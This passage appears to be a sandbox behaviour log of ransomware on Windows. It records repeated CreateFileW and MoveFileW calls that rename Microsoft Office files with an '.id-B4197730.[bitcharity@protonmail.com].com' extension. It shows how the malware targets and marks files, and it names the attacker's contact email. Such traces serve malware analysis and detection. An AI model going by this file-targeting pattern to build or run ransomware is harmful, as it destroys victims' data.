office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.975] CloseHandle (hObject=0x1194) returned 1 [0263.976] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.976] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.976] CloseHandle (hObject=0x1194) returned 1 [0263.978] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.978] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.979] CloseHandle (hObject=0x1194) returned 1 [0263.990] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.990] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.990] CloseHandle (hObject=0x11d0) returned 1 [0263.991] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.991] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.991] CloseHandle (hObject=0x11d0) returned 1 [0263.992] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.992] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.992] CloseHandle (hObject=0x11d0) returned 1 [0263.993] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.993] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.993] CloseHandle (hObject=0x11d0) returned 1 [0263.994] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.995] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\basic.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.995] CloseHandle (hObject=0x11d0) returned 1 [0263.995] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.995] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.996] CloseHandle (hObject=0x11d0) returned 1 [0263.996] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.996] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bw.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.997] CloseHandle (hObject=0x11d0) returned 1 [0263.997] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.997] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\coffee.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.997] CloseHandle (hObject=0x11d0) returned 1 [0263.998] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.998] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CollectSignatures_Init.xsn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\collectsignatures_init.xsn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.999] CloseHandle (hObject=0x11d0) returned 1 [0263.999] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.000] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CollectSignatures_Sign.xsn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\collectsignatures_sign.xsn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.000] CloseHandle (hObject=0x11d0) returned 1 [0264.112] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.112] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.112] CloseHandle (hObject=0x1158) returned 1 [0264.118] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.118] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.118] CloseHandle (hObject=0x1158) returned 1 [0264.119] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.119] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.120] CloseHandle (hObject=0x1158) returned 1 [0264.120] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.121] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.121] CloseHandle (hObject=0x1158) returned 1 [0264.121] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.122] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.122] CloseHandle (hObject=0x1158) returned 1 [0264.122] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.123] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.123] CloseHandle (hObject=0x1158) returned 1 [0264.123] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.123] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.124] CloseHandle (hObject=0x1158) returned 1 [0264.125] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.125] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.125] CloseHandle (hObject=0x1158) returned 1 [0264.126] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.126] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.126] CloseHandle (hObject=0x1158) returned 1 [0264.127] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.127] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.127] CloseHandle (hObject=0x1158) returned 1 [0264.128] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.128] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.129] CloseHandle (hObject=0x1158) returned 1 [0264.130] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.130] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.130] CloseHandle (hObject=0x1158) returned 1 [0264.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0264.132] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.132] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.132] CloseHandle (hObject=0x1158) returned 1 [0264.133] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.133] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.134] CloseHandle (hObject=0x1158) returned 1 [0264.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0264.137] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.137] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\FONTSCHM.INI.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\fontschm.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.137] CloseHandle (hObject=0x1158) returned 1 [0264.138] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.138] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.138] CloseHandle (hObject=0x1158) returned 1 [0264.139] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.139] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.140] CloseHandle (hObject=0x1158) returned 1 [0264.147] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.147] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.147] CloseHandle (hObject=0x1158) returned 1 [0264.148] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.148] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, 